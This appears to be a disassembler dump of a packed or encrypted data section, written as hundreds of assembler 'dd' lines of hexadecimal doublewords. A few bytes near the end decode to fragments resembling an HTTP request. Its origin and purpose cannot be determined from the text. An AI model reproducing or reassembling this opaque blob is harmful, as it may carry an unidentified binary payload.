		dd 0CCCA9F12h, 7575501Ch, 0FB3E0EA0h, 504C594Eh, 0BD0B6819h
		dd 0F5C961D8h, 1F945608h, 4178A707h, 0FBF3204Bh, 12B2F64Fh
		dd 25F4A540h, 565D30Bh,	405FF87h, 0EE51C30Eh, 0ED333E45h
		dd 5C68ECD1h, 0A07A9D2Ch, 97882DA2h, 201DB8C8h,	0DC842EAh
		dd 7D5FB110h, 29493FD0h, 7A138BF5h, 906827E4h, 4A1CA99h
		dd 1298E0FAh, 8AEE0241h, 0E418DF13h, 6C06B0Dh, 2D39663Ch
		dd 0D28015D6h, 9494A35Ah, 5215898Ah, 0BFC5025h,	3CF66BF1h
		dd 0B3142888h, 0FF062A47h, 38A11B74h, 0C53B280Fh, 0C12B34DAh
		dd 610BB50h, 80A31A40h,	8BA4211h, 0C37108Ah, 935AA7E8h
		dd 0E8358B25h, 125550A8h, 0F3BF3F6Ah, 9D042ABDh, 94685319h
		dd 393D57BBh, 0B421D68Bh, 0A06C3911h, 0A150E558h, 6032801Eh
		dd 9108923Fh, 4554200Bh, 85A3F19h, 3CE83A52h, 13FCB80h
		dd 0E83E0882h, 0A1153518h, 9242A608h, 4D6D3C19h, 0AB5A3EB8h
		dd 3CA1E821h, 5B11B258h, 5D38FF50h, 356B840Ch, 25C47336h
		dd 92EB537Eh, 14227FF5h, 1C89A3C5h, 56F11955h, 0C759343Eh
		dd 0CBC49AFEh, 800A64DDh, 69C6830Ah, 6435A03h, 3E25F0B6h
		dd 8ADD5C2Dh, 14A5F46h,	0B359DBEAh, 69C37030h, 0C2BBC94Bh
		dd 925F89A2h, 160AF44Fh, 3A26012Bh, 0E0077CC3h,	30D7F39h
		dd 62EFEB46h, 0F14E75F4h, 44542E49h, 2745A984h,	2F64C803h
		dd 84F32B28h, 28462347h, 8AFD3BE1h, 19D9F7C4h, 1B087D49h
		dd 2591A9C4h, 0B9210356h, 0A8B70810h, 0B621E348h, 3524EB1Fh
		dd 590B20C7h, 0DAF12736h, 828CF025h, 23305D37h,	6DB4B36Eh
		dd 5B77D9A0h, 3B144609h, 435F9205h, 201022C3h, 1021CA0h
		dd 2D5A4883h, 0C2CC1899h, 0DB7C20Eh, 51354836h,	282ACF66h
		dd 341E6411h, 32471126h, 750C3021h, 892C151Dh, 2E134257h
		dd 92A1B99h, 56EB5330h,	57291414h, 504CB215h, 0C3E592D7h
		dd 52217DEh, 2CDFC8E2h,	15D4C5CCh, 0E025CA50h, 72DE6408h
		dd 287510DCh, 94D815C8h, 0DA291357h, 92D6901Bh,	535805AEh
		dd 914F5857h, 1FAC42EBh, 78205753h, 0EBE921A3h,	258E3DDh
		dd 5308640Ch, 0A47450FCh, 0E812867Eh, 0A70AEC05h, 8B580744h
		dd 0E23D915h, 0B7B24A1h, 3B1C4E03h, 0A01E7DD0h,	278C0FCAh
		dd 9E5CFEBFh, 0B78F14BCh, 7ECA1B08h, 1A7DE128h,	0C674D863h
		dd 24F67C14h, 28F27F20h, 452A087Eh, 0ABC43F95h,	0C40A0495h
		dd 6160604h, 821B89AAh,	330F7538h, 186C41C9h, 0C14E9D08h
		dd 84D254B1h, 9C23280Fh, 0A2EF1A25h, 780C7DD8h,	105D1633h
		dd 89010956h, 1477BC44h, 65831AC7h, 5DD8B3Bh, 0E0EA0BB6h
		dd 2EA0860Ah, 0BA909EBh, 0D365175Ch, 69A802AFh,	2A2F6DD2h
		dd 0C10CD243h, 1DF930F8h, 0FE03076Ah, 253A8485h, 5F87029Ch
		dd 8B83F799h, 3BB81845h, 7F201C55h, 2B070F0Eh, 0ADDE03C2h
		dd 0F905BF56h, 0E640AEBh, 0BEA7986h, 38750518h,	60A57854h
		dd 0A12CB609h, 10910661h, 0CE3B0060h, 0E983207Eh, 0AA1BFE07h
		dd 87A77589h, 850C8209h, 0A0078199h, 3307F13h, 87D404Dh
		dd 2B753201h, 0A7622442h, 3E1B378Bh, 0B828AA2Eh, 2C150CA3h
		dd 301298FDh, 2AF9A4A3h, 0E72B55EBh, 506400Bh, 2B2162B9h
		dd 790766E8h, 5C03050Dh, 0A149A226h, 0BA11EB0Dh, 8D823B09h
		dd 41B7850Eh, 97461350h, 45F52935h, 9CFBDA45h, 70210106h
		dd 0B60F0950h, 4C2226D5h, 0F2844A24h, 1C751312h, 824F4CFCh
		dd 2DD0E3Dh, 0F82E45CAh, 3E236FB6h, 6E68CDF3h, 276CB9E1h
		dd 449BCC5Fh, 4227A543h, 8934CD57h, 0F9D56774h,	84680969h
		dd 7257A641h, 2AA328AFh, 6850741Ch, 283C11E9h, 0A3360860h
		dd 0EE1A2B48h, 0A10FCA4Ch, 0AA50350Ch, 5FD0BB0Bh, 0A1F2C7ACh
		dd 14114C52h, 4A125305h, 6DAD9AFh, 15512204h, 0FCF82B4Eh
		dd 0BFF8EB84h, 0F12DBE3h, 6E6B8AFh, 8957E0FEh, 0EF774B16h
		dd 0B22A0869h, 587712C6h, 1A77DCEFh, 8C52A995h,	25771D2Bh
		dd 0C95E502Eh, 974C7558h, 0A5021949h, 5F19F73Eh, 38781C12h
		dd 21D2FFA4h, 6A563F04h, 889FAB08h, 0AB247512h,	161BFD72h
		dd 0EB2719F6h, 0FFD0098Bh, 0C75DD09Eh, 56C30563h, 0B149ECEBh
		dd 50C4F0F5h, 0B75E9403h, 4443404Ch, 40F62FC2h,	0EAD3C48Eh
		dd 4EC68D1h, 1854438h, 14BC0247h, 24AF177Ch, 0A2B034E4h
		dd 590D44AFh, 7024833Fh, 51374EB7h, 0C92A60BCh,	33BA2FC8h
		dd 32A28D84h, 0FA7242C1h, 6B739461h, 10332558h,	0A89255Eh
		dd 7C9A315Fh, 37854E7Eh, 3853364Bh, 7F17F3B2h, 0C1F809C2h
		dd 1430FF29h, 8EB0367h,	0BA3B1798h, 0B7185277h,	96C3BB38h
		dd 0DB07FF99h, 78873067h, 3CE627Fh, 10C0D5F6h, 0C1073F34h
		dd 0F10B1FE9h, 2907F7E9h
		dd 470F3D7h, 0D1E9EAEBh, 7EE33EE1h, 50372E47h, 0F25EEC36h
		dd 0A6B0F9FCh, 0BE93AC1h, 1D9F89CEh, 19E71B08h,	0CFF3EAF3h
		dd 7A40566Eh, 0D34EDF5Ah, 692E559Fh, 0C4D433E9h, 0FAF05613h
		dd 8940404Eh, 53301372h, 76080604h, 0AD574A51h,	8DF3037Eh
		dd 8FA5F07Dh, 8E9674FEh, 4B06F592h, 0A44F3A9h, 0AA10A434h
		dd 517B5DFCh, 80BE0F0Dh, 48213CA1h, 0FF1C0DC7h,	3BC16B3Ch
		dd 0C88DB675h, 0E1AC395Fh, 9EE46E28h, 140698C1h, 0A8438910h
		dd 7A7B5859h, 0FBE1FCEEh, 0CAF9D244h, 0FFFD8141h, 0FE057313h
		dd 0BED3EB03h, 0CA7C36E2h, 4C661064h, 5988FF3Dh, 0DE66E2EBh
		dd 725EDDE2h, 3AD40A80h, 0A8FB5CE4h, 0A445C584h, 0C14F77ACh
		dd 7B5AC004h, 9DE8C5C8h, 8B0C69EAh, 0E081DC06h,	0D004D402h
		dd 0F810E408h, 5EEBEC3Fh, 208C40F6h, 0EA090B74h, 0A49F830Ah
		dd 810D0905h, 0E7EB47E3h, 265EC960h, 1251F8Ah, 870F0BF8h
		dd 4683D77h, 88558524h,	0FB809AC0h, 0C7C3031h, 77F390Ah
		dd 27FD6A4Ah, 3A4C7609h, 21329B55h, 8417051Eh, 2BFE20EAh
		dd 48711E74h, 0D1BD69B0h, 79D41B62h, 0A0D2357Eh, 0D82936ACh
		dd 0EB5804CEh, 20D6ABA7h, 9E12CD20h, 0F0A2009Fh, 0A5C5057Ch
		dd 4B24AE7Eh, 9BCDB8AAh, 318A3322h, 2CAA2D0Ah, 52A43007h
		dd 8E0F4300h, 18A00289h, 12407E45h, 7B1CC863h, 8F936567h
		dd 6A131572h, 4F3C7E06h, 84080B2Ah, 970945A6h, 0BD84564Ch
		dd 68595863h, 8949D19h,	8B0A01B5h, 0B4696C2h, 153919FDh
		dd 2E7E3F30h, 0C88444C4h, 3C1ADDABh, 0EEB12B5h,	231D3CBAh
		dd 5EF5C65Ah, 197DC03Ah, 55821073h, 0EB809768h,	370C306Fh
		dd 3A30CBAh, 2A92F80Eh,	0B93B7FEh, 0C615A3ACh, 1B5B6E5Bh
		dd 0DC060DBFh, 7BEF0D75h, 284A7894h, 107571F3h,	0D311C81Ch
		dd 47E88B68h, 2350B912h, 990A21D4h, 1401122Dh, 5E95770Ah
		dd 610AED4Dh, 0F9B56EB6h, 0EB023D0Fh, 0FE4F8D57h, 0A3908C44h
		dd 44498CACh, 4362DCC8h, 0C0B55F64h, 65EBA560h,	22E0B265h
		dd 839105CDh, 0F6784F6h, 0AF8DF28Ch, 0E98F6C41h, 0AEB138Ch
		dd 0E617C29h, 6A097F21h, 914F58C8h, 1231A00Ah, 0FEC1EB44h
		dd 2A5B4C5Fh, 0FFDA36B5h, 14FCDBBBh, 0B4B6C0D9h, 0AB837192h
		dd 58070145h, 0C7082F51h, 8E994F0Ah, 89EEB780h,	96121485h
		dd 772511DFh, 0C2555C2Ch, 6757F633h, 7E1C59D8h,	0B63921F2h
		dd 0FE8180F9h, 7A145032h, 0BEC3997Fh, 19A551C5h, 4A2116FCh
		dd 0D03888D4h, 0E538E74Fh, 86ACD55Bh, 38507E19h, 6A88D9A4h
		dd 39582418h, 157600A8h, 5BB7D80h, 0FE037C1Eh, 2EBC4BFBh
		dd 0D348F484h, 13FEEB21h, 0F061291h, 0B555A586h, 0EC17B00Eh
		dd 0F237D989h, 4A53BA2Ah, 57E1B717h, 0ED727801h, 0A1E45697h
		dd 39FC60B0h, 7D061590h, 3D8F702h, 0E014CB48h, 1810950Ch
		dd 2B03DC81h, 483D1CC1h, 304B7EC2h, 65DA8DFEh, 0CF7ECEBCh
		dd 0CE5506B3h, 65D448C8h, 0DB336005h, 5A39ADB8h, 73615B89h
		dd 54DDBD7Eh, 3D3A5E9Ch, 0EE94FB0h, 1D02062h, 95E4C613h
		dd 16030F7h, 7A6D6F80h,	2C29239h, 0FBCA06C6h, 72B5EB37h
		dd 5EEEC025h, 0AAB9592h, 8049399h, 0DBC4BF15h, 0D0170F52h
		dd 84DC287h, 5FE3C00Bh,	6713989h, 6025997h, 920A419Ah
		dd 2EA2EC5Dh, 1E8FA111h, 6D19DC84h, 0EE12C409h,	4854922h
		dd 88F648C0h, 1F118640h, 8E44A422h, 5E5C8A5Ah, 1CBD45C5h
		dd 0BEC88077h, 0F4F012BDh, 0B800490Eh, 57C98566h, 0CC2320EBh
		dd 91E508C8h, 44E722E6h, 0EA89E9E8h, 0EC24EB12h, 0EE88ED48h
		dd 3FEF0BFBh, 0D02A3957h, 43A7B02Ah, 0EB2D020Dh, 0C7A0D04h
		dd 0D2980CF0h, 51E7527h, 1EAA1A6Dh, 8E155F00h, 19142383h
		dd 1030862h, 68300402h,	4A0F7B6Dh, 7A4DA066h, 807BB867h
		dd 0E12EC7A6h, 55FAF8F9h, 0F70F2298h, 402B97FFh, 0A868FB04h
		dd 54EB74F0h, 27749746h, 0E8EA8115h, 22C70857h,	682E0A3Bh
		dd 0F191AA0h, 0D8092367h, 9866681Dh, 95B48D23h,	0D1CBAACCh
		dd 3041F905h, 68E87AD3h, 891D9057h, 0E1818106h,	9420B70Fh
		dd 2296CFh, 0C06918E9h,	0BADE4D10h, 0A708EE4Ah,	58F06509h
		dd 0C8D1258h, 555E004Eh, 4DC96BFAh, 0F67D7DECh,	9201B43Fh
		dd 0CB9BCEDh, 0ECFEC112h, 0FF20478h, 3AC4C6BFh,	5620FCBFh
		dd 66D154DDh, 0FA7D8102h, 58723FFFh, 46E42B21h,	4D7E0719h
		dd 0C7F61459h, 33908C57h, 1967745Ch, 36D147Dh, 7F157C3Ch
		dd 78199108h, 0F18323FCh, 31A17A15h, 86415FD1h,	0F03EFA75h
		dd 7A833F65h, 0D4049DFBh, 432CFD1Ch, 92721346h,	591CCA01h
		dd 802AF175h, 0DEF71724h, 4E68124h, 0B00D7E42h,	0CB4EC01Dh
		dd 31DEF336h, 22A2DA22h, 7E1C9A01h, 14FA6050h, 0F07375FAh
		dd 0A5711290h, 0E2B425A3h, 0CF099050h, 8A0D3508h, 8AE71634h
		dd 4B8BFB93h, 4AE1A9CAh, 50041B82h, 8007F90Ah, 0B6750188h
		dd 8ADF05B5h, 602E6287h, 8D35F980h, 7C04014Bh, 72C13B30h
		dd 0E487B0Fh, 0EB488406h, 4C42EFF1h, 0C3FF6640h, 0C32A808Eh
		dd 9088EC2Ch, 8EC0B754h, 182D6480h, 53357404h, 4E0C6120h
		dd 0F416B430h, 0B6D95BC9h, 1230E404h, 0FB056380h, 75D387D2h
		dd 0ECCE6676h, 6474D8C7h, 0FF460959h, 1F419C48h, 0A3C9403h
		dd 67F2A20h, 7D2E186Bh,	417CE9B0h, 0E1A90997h, 541B84Fh
		dd 1A9034EBh, 10619D54h, 3A5C2127h, 0A01A2FC2h,	8B457CF2h
		dd 0C070CE70h, 0BEF0C72h, 80845038h, 4AFE8305h,	0AD2FD901h
		dd 76780F9Ah, 533CD0F6h, 0F93B5062h, 42FAF857h,	55E95E0Bh
		dd 7FD11D27h, 70062514h, 9AA36D2h, 0A4F415F3h, 91BF79A7h
		dd 2D26488Ch, 4C3AD408h, 0A1352839h, 0D6832BB8h, 0F40D5EBCh
		dd 1E077D32h, 2B40148Dh, 63950A9Ch, 22832548h, 0CC20602h
		dd 0FFF77549h, 920AE05h, 0FAF40E4Bh, 0E28D651h,	3762BC7Eh
		dd 4678AAEFh, 82A0A13h,	0B3BC7B89h, 8204D027h, 28417E29h
		dd 0FAED9D56h, 16E24490h, 39050615h, 0F44F9050h, 14D0FBA6h
		dd 0AB027413h, 857040B3h, 50B5BFA2h, 1D3B2F11h,	1590D3D9h
		dd 68DEAA92h, 0C844F60Fh, 6457012Bh, 4889B723h,	86671D3h
		dd 23EB4230h, 0D62A6C02h, 0AA2B778Ah, 6F42C2FCh, 8D708768h
		dd 5DF009AEh, 68974F73h, 331D7424h, 1432E9D0h, 939A0C90h
		dd 27DD260h, 50520998h,	534A772Ah, 80B38EFh, 0EB184AA8h
		dd 909DD77Dh, 5B7505E0h, 4A828B0Ah, 663A5DB1h, 4FA89CACh
		dd 89F7D40h, 926811AEh,	672D0620h, 0BB137F93h, 0F41753A4h
		dd 8FFC6BEh, 0CA3AD8B7h, 52451548h, 0F969B076h,	523E2093h
		dd 0FCD6D008h, 0DEB16DFh, 0A393A6A6h, 0B8EC11F0h, 984BBC5Bh
		dd 4D745735h, 1B1F4C65h, 1BB45B39h, 791259E3h, 7BA09E81h
		dd 0D21EA450h, 0ADD71336h, 28045F4Ch, 37BF533Eh, 0AEF8F499h
		dd 542F13A4h, 0C3B0F50h, 177659C7h, 3C008022h, 0F753D38h
		dd 0A1505357h, 0BF785F40h, 0C61689D4h, 38271804h, 382D448Dh
		dd 0CB3CD401h, 0FE5A6BD4h, 0E36647E1h, 305B0A4Bh, 6EEC510Bh
		dd 26E4638Eh, 0F9990A46h, 7DF29BAh, 0C223F833h,	0E781CA21h
		dd 661A7122h, 9341243Dh, 42B83501h, 7629B8EBh, 167F99CDh
		dd 3DFA0CADh, 8791BFFDh, 3F8B9EA2h, 9E6BDC77h, 0D981E83Ah
		dd 7A7F028Ah, 0EF84812h, 300C562Fh, 464C392Ch, 0DB0B3A5Ch
		dd 424D41A8h, 2047801Ah, 1EFCE97Fh, 1531F42h, 9D433916h
		dd 35E113Ah, 37AE0D52h,	0B06651Fh, 0B7C46825h, 6077988Ah
		dd 89050C1Fh, 320898Bh
		dd 0E1C07FC0h, 0C6F0497Eh, 84E5FB8h, 0EC7ED7E2h, 1377974Dh
		dd 12186933h, 633915Ch,	0C1AFB109h, 83FC188Eh, 0B51D2BCh
		dd 0D3E731BDh, 66530617h, 566766E9h, 0F46D4302h, 27E0FBA5h
		dd 0FC1ACDC8h, 18B0B212h, 7F59810Ch, 9241819Ch,	5829C002h
		dd 7E22034Ah, 0E7F1F625h, 0EBC54580h, 0F0B40265h, 1E888608h
		dd 7A4E27Fh, 45163953h,	0F2BCC0Eh, 0F71EBF61h, 0A9D01D8h
		dd 0DC7C738Bh, 3FA0BBC4h, 641ACECh, 75594BC0h, 0EC5B4EEAh
		dd 38A56B89h, 3CBC040Eh, 970F7794h, 84256F7Ch, 1A3D1BFCh
		dd 35750A19h, 0B3FBDE42h, 0B565B32Ch, 0E299AA1Eh, 6E071D14h
		dd 34E65719h, 31920BAEh, 0EF0E21F7h, 41FE524Ch,	6F10BBCAh
		dd 68E2ABF4h, 0D58BDEF4h, 731DA733h, 0FAFBA81Bh, 35C77C0Bh
		dd 6100E89h, 0C024E3Bh,	0D406E440h, 0EB31D91Eh,	0D1DFF736h
		dd 9CB52AFFh, 41B5D744h, 8B1C7D9h, 70268364h, 85E7E91h
		dd 53E075BCh, 4B5D98BBh, 0EBF67F3Bh, 16396024h,	7D637404h
		dd 0BB0D92A9h, 4284CF8h, 4272D4D7h, 6751017h, 0E8FC718Fh
		dd 56411122h, 0C3830957h, 1D197C54h, 7E0CB03h, 27743681h
		dd 1FE7288Dh, 0C2753C81h, 72556187h, 0F47D4DC0h, 6402D4A5h
		dd 0D670F625h, 4C4CA9BDh, 7FC8DBECh, 94DDC3F2h,	4730BDB0h
		dd 3CBD5A73h, 8054EA57h, 8D74C8Ah, 3E3C64F9h, 861195FCh
		dd 0CF09AC25h, 75066025h, 58E1FC05h, 811A6A7Fh,	29FD167Ch
		dd 0E9470F1Dh, 5D68FFC9h, 66380A88h, 28987625h,	0E5C35E2Dh
		dd 0AEB8BC1h, 0D39F913Ch, 936A34C5h, 0BBED5DB6h, 92F97F65h
		dd 0B550D9Ah, 50C15E00h, 0D9950C82h, 0FB0792A2h, 0FD5A4496h
		dd 0D6D6FEEDh, 8D8B45A9h, 531E3EBCh, 8F070656h,	1DF54E74h
		dd 0C37F11ADh, 50FF6A03h, 849883BEh, 0EF3BE814h, 42B64FB7h
		dd 2F18C723h, 0DC50553Eh, 22365542h, 6FCD5E5Eh,	84C2AEFEh
		dd 484C189h, 5784D66Ah,	0DBB87527h, 0ACDC35EAh,	0D4F5274Ah
		dd 3FA8C450h, 0E9253023h, 0B21668B0h, 40755F04h, 50AAB857h
		dd 957288AAh, 0DEB52B5Dh, 683DE164h, 82313A5h, 424F043Ah
		dd 0F0C0C51h, 6E95845Eh, 6B212510h, 395413h, 7EF33B14h
		dd 45BF5610h, 9A72AF65h, 5D39140Dh, 0CD7A2A1Ch,	7CCA7BFAh
		dd 68A1117Dh, 0C51B88A5h, 7A39FA56h, 778430DAh,	9DE169BDh
		dd 0FA5D25E2h, 0C68D7939h, 97A70974h, 0E3BC9834h, 1B5F34DAh
		dd 395E1818h, 8B07D27Dh, 0B3BC752h, 5417FF7h, 32FAC449h
		dd 0AFB94C93h, 0A299A251h, 7D062E98h, 227202C4h, 38CA1C3Eh
		dd 1A74CB5Dh, 3A0BCF56h, 90DCD0D3h, 0F209F4A8h,	4723E08h
		dd 0AD76CA84h, 674BFF40h, 6D855DE6h, 31BE22A5h,	0C87131AFh
		dd 896C49Dh, 9506E18h, 2878860Fh, 0E29835E9h, 0B70483FFh
		dd 1085E85Eh, 29FA096Ah, 6E3071BAh, 0F1CF6B4Bh,	17FC1767h
		dd 0F80FE899h, 0DB1A8516h, 54122A4Ch, 85839CAAh, 934578EEh
		dd 362CD7Bh, 0B748575Ch, 6E5B414Eh, 56793423h, 744249E4h
		dd 447AD624h, 612B92E0h, 0DE7E8BFDh, 97F554CAh,	0CAE9D82Ah
		dd 0D897DBB3h, 4FFB68CCh, 4315A874h, 7AA65F4Ch,	7B2E168Dh
		dd 9573E1DBh, 0B411E365h, 0CDB6EBF4h, 851B45Ah,	6A2C747Eh
		dd 86C2C73Dh, 0C2747DCFh, 0BF81D84Bh, 2675A743h, 0BA96A1F8h
		dd 2AFFCB4h, 0C3940F5Bh, 0A7B0D1C1h, 602CFE1Dh,	0A3596886h
		dd 3401CA2h, 88D65475h,	0A919370Eh, 47F6643Dh, 5E244C11h
		dd 0B15FBCA7h, 10CFC67h, 0B1046A80h, 82394835h,	3889DF74h
		dd 13753490h, 45A21BA5h, 2B36C466h, 3D8B28FCh, 0CE20AA28h
		dd 10862765h, 0C58E45Fh, 3F83437Ch, 489C3E48h, 34FF3200h
		dd 0E73C8DB7h, 2ACCD6Ah, 84750B15h, 0E4BB465Ah,	0F04FEBEDh
		dd 2E00AC1h, 13F7B67Ah,	90FA0830h, 35EB3C05h, 4E4C897h
		dd 0C632F0B7h, 987A757Ch, 0DE030495h, 0F2B57E82h, 8E3A9870h
		dd 40CBA128h, 4DECD37Eh, 0B00C5407h, 4376483h, 4869B10Ah
		dd 95467452h, 403531FDh, 0B22B50C5h, 2EB4D90Dh,	0C9563197h
		dd 37EEBF5Ch, 5849C82Bh, 0A400B759h, 1BDBF740h,	23D3D0E5h
		dd 166FD84Dh, 7BD0415h,	215AAC46h, 3DF0847Ah, 688D338h
		dd 0E42F9F2Dh, 3ABA506Bh, 750CFA5Bh, 0B8A380Dh,	3D3C3804h
		dd 46845486h, 994E1A5Dh, 0CE8AD72Fh, 93C052Bh, 697FF8C1h
		dd 104BC3F7h, 8C3BFB41h, 8525C9A2h, 5F0B22FFh, 8D1A49C3h
		dd 13741820h, 0BD108B0Ah, 960B5FA4h, 0F6EA88F6h, 29E90435h
		dd 56DDC6D1h, 0E470F8EEh, 0A2DFA8C2h, 57501394h, 8E20D542h
		dd 6894287h, 0C4417097h, 0B1E9EBF9h, 19F26A63h,	4F595F2Fh
		dd 0D50F75C2h, 0FA0B6A45h, 0DCAA7FA0h, 0E4D8A53Dh, 89CC0174h
		dd 0B7D0103Ah, 0CC98414Eh, 529DE398h, 5086B75Bh, 2EF12EC0h
		dd 26C292F4h, 0F3E4539h, 2439EB11h, 0BE55E9D0h,	0A5413D14h
		dd 8DBF27C6h, 0D20AFF86h, 2B8C8129h, 4F022DC2h,	4BC10CE0h
		dd 0D469B95Dh, 0FF9A5E0Eh, 0B16DD53h, 0D3A4AD56h, 0CCCDA4E8h
		dd 5D754602h, 1CF18B34h, 8C3886E1h, 11560C8Bh, 8BEC30EDh
		dd 161BCECEh, 26DEFC32h, 0B03200C2h, 0F554F1h, 6C70C4Eh
		dd 415EA8CCh, 0DA151646h, 7A5A9D40h, 70BFABECh,	571A8A3h
		dd 0A2383CB8h, 0F180A9F0h, 9A160F22h, 0DC5AE1F6h, 86A40774h
		dd 596FE414h, 0B84E5044h, 3B9C622Ah, 34E8E45Bh,	95C6FF4Ah
		dd 4960F356h, 12C765ECh, 24530BE8h, 0F5A1CAD7h,	6885DE44h
		dd 90880184h, 1C91E9F1h, 0B98D69DCh, 9DA1C9A4h,	4888086Ah
		dd 1C72874h, 89E95230h,	7574B815h, 0EA348692h, 6877F377h
		dd 4D4A37DEh, 7045A7E0h, 19EE6E56h, 8C420B7h, 206819DEh
		dd 0F6453BACh, 0E082C2C4h, 0EBDC2089h, 5AA7FF15h, 235AF1F5h
		dd 0D2871415h, 23F486C8h, 3C720252h, 98B82BCCh,	0E899AF48h
		dd 0F20A6EF1h, 614584F0h, 0AF053E13h, 427C570Ch, 0D00F915Fh
		dd 0C2875789h, 0BA3AA908h, 0F84504F2h, 8242568Bh, 5427AA24h
		dd 50A91423h, 6823B088h, 0E9EBA0C8h, 2E745B45h,	0A9E95C3Dh
		dd 51CC4B0Ah, 0E47ACA51h, 8688577h, 643D1FADh, 781EE864h
		dd 0B7D1BE89h, 2362A81Eh, 0FF612068h, 196FD025h, 0C800CB2h
		dd 7843867Ch, 0EF9C2822h, 79850A65h, 626ABA2h, 3B7C39C0h
		dd 0B57005EBh, 8AE28879h, 0B5CCD27Bh, 1C9E90D8h, 0D5BF1465h
		dd 0C6F7C5A2h, 0FAB53E28h, 34FEB0F1h, 0EC1703EBh, 5E9D7E6Eh
		dd 0E50EB794h, 830942DAh, 14E009FBh, 801B0576h,	94257C3h
		dd 1988300Ah, 773F2670h, 0E21B8DAh, 54178A49h, 3C1139E5h
		dd 3B478207h, 7DF272F9h, 8084F412h, 31FE5328h, 7651072Eh
		dd 0C42A4DE2h, 423AD78Ah, 425B4C1Ch, 0CCABF51Ch, 6290F12Ah
		dd 58FF3044h, 0E7E0E837h, 0D99759B5h, 1AEB260Bh, 0EC652E0Ah
		dd 0B413C713h, 0C6147DA2h, 6AA93D5Fh, 5CA497E1h, 25748BD5h
		dd 48850FD0h, 8C3113C6h, 1307BF49h, 0C31DD47h, 7926834Ah
		dd 46A05808h, 0FF097405h, 0A2650471h, 57FFD787h, 29A90C62h
		dd 12CAC577h, 0BE37F057h, 7D295069h, 7DA5E561h,	0A0F996C9h
		dd 29D9F425h, 0E02FE490h, 0B86C415Ch, 0A06EBAC9h, 0C6E9C8EFh
		dd 4ECF13A2h, 2783E039h, 8FAA401h, 16D1E4F8h, 0E0B8C304h
		dd 0C0CFC9AAh, 0C4BA0BE1h, 691458C8h, 85082328h, 77AB10B8h
		dd 6640C51Dh, 0EC5C780Ch, 0A0B8C5ADh, 0DC941264h, 0AC383021h
		dd 5C29245Eh, 62F04412h, 368E1480h, 0A7700AEFh,	6C5D01h
		dd 0
		dd 7701AF00h, 54454760h, 752F7220h, 0EC50EC48h,	302E0F31h
		dd 6F400A0Dh, 203A7473h, 14C72575h, 68977541h, 7A6972D0h
		dd 0BBD3EF61h, 4E260F6Eh, 14DB6765h, 1DAB1A77h,	0C400443h
		dd 771C71Ch, 553F2A8Ch,	45C57801h, 0F02FC2FFh, 83FF5C7h
		dd 603F50D8h, 31330D63h, 36033732h, 34643935h, 38B6D730h
		dd 31E9ED0Eh, 0D8F765C5h, 77613532h, 6834EA36h,	3E2A3A66h
		dd 0DF62F4FBh, 643F3F40h, 39633B72h, 0EB7E613Ah, 8F37E3DFh
		dd 1C8D36B7h, 382842B9h, 6E65E047h, 346D6061h, 8A2AB76Ch
		dd 0BD7E6617h, 3C366FBEh, 5ADBF4FFh, 52C272B0h,	70857835h
		dd 28093440h, 538CBF90h, 3309B0F0h, 80C410Ch, 99E10609h
		dd 100A0107h, 10BE03C1h, 49902BBh, 8050245h, 0BA305135h
		dd 28202F00h, 3858F038h, 371C0807h, 7C575E30h, 283F216Eh
		dd 7260EA17h, 0CF03DB68h, 37F788Bh, 3C3745DCh, 0E60F1B7Fh
		dd 830F8305h, 836E8328h, 2A6C8375h, 7F7A2905h, 0F6F7FD28h
		dd 75F7117h, 424F4C47h,	48074F41h, 0D7505745h, 0CFBD5F53h
		dd 444A5443h, 5E4D1F18h, 2352DF56h, 993D3848h, 31096E79h
		dd 66940014h, 70786572h, 6D0529DEh, 1C47646Fh, 0CF97968h
		dd 186311A4h, 21736261h, 20A4646Ch, 0B4663FC8h,	10172650h
		dd 0D96F6C24h, 65631130h, 23C2F569h, 0A87C6174h, 5F366F6Eh
		dd 716310F7h, 140CFD72h, 0A6322B61h, 45108B08h,	43FB3C42h
		dd 6828344Bh, 82FD108h,	0B0082F68h, 303167B6h, 0FA308A4h
		dd 658277E3h, 73158289h, 17EC001h, 11924150h, 477A0F80h
		dd 0C2734907h, 898E6F72h, 7692E8DDh, 75DACA46h,	1C2036D3h
		dd 85A46EF4h, 52454B0Ah, 3313F94Eh, 2B651030h, 5845E330h
		dd 3ABEB021h, 970C803h,	88010A6h, 10A43C44h, 2C112266h
		dd 74188808h, 7810CE3Eh, 0D6A32894h, 56DF193Ah,	3FAD8438h
		dd 11349963h, 1871089Dh, 0EF184003h, 48A1F389h,	0C2068BDh
		dd 0B82059B4h, 682C48E9h, 6C105A66h, 75722809h,	6D692CB3h
		dd 0A379391Dh, 506DE7CFh, 54242132h, 69531CDAh,	6F302612h
		dd 474E49A2h, 0B4800F96h, 41684D4Fh, 52501226h,	32301836h
		dd 202D1238h, 31AA98D4h, 6F74986Ch, 955643EAh, 0CCB7597h
		dd 0E7681C86h, 384970E1h, 11372802h, 0B0EE216Eh, 67750A7Ch
		dd 4873F668h, 4866A270h, 7AA0F966h, 39A56977h, 3868BFA6h
		dd 4C6B9C53h, 38642BF8h, 70083559h, 76EA9F92h, 7822694Ch
		dd 56844DAh, 241E63A6h,	0DA1A6F7Bh, 34281952h, 5FCD604Fh
		dd 9A0D2156h, 8B22FBAh,	0E321DD07h, 318A6023h, 93F3F839h
		dd 0D2B3BE70h, 21171A64h, 0E87CC743h, 38912CA5h, 0E85B5C92h
		dd 0A63AB082h, 2058AD1Ah, 0CB374724h, 0AD6F086Dh, 0C020D12Ch
		dd 2218616Ah, 306B630Ah, 2118B7F2h, 0A59B935h, 6065F6Dh
		dd 722444A3h, 7099016Dh, 0F7E76782h, 96BF42ADh,	305737C8h
		dd 5039549Ch, 4222AAFDh, 0AD6D56C9h, 2C125EE4h,	73BC3538h
		dd 29A175FEh, 94602273h, 352C4161h, 6EDF8AC1h, 6F3C8367h
		dd 6A3B350Ch, 56392725h, 2E4D2480h, 3A0CC235h, 0F5562C66h
		dd 38AB44DEh, 4DFB2B43h, 4CCEA152h, 39B562AAh, 68287928h
		dd 0C4175D0Ah, 210F8845h, 0D55024CAh, 37203AC3h, 5022E41h
		dd 6E6293Ch, 5ACC4DE1h,	0F677DA6Bh, 1F08B33Eh, 5A66E056h
		dd 502E5309h, 0FC54D14Dh, 82575165h, 46F468D9h,	53691672h
		dd 4AC02261h, 0D46024E2h, 0DCCD4D62h, 0C9F8A41h, 64EF679h
		dd 0E2A06C7Ch, 70246553h, 4E03954Fh, 0CC44766Fh, 5419C8A2h
		dd 0EC47085Ah, 5CB84C74h, 539A41E8h, 5003765Ch,	54E575FFh
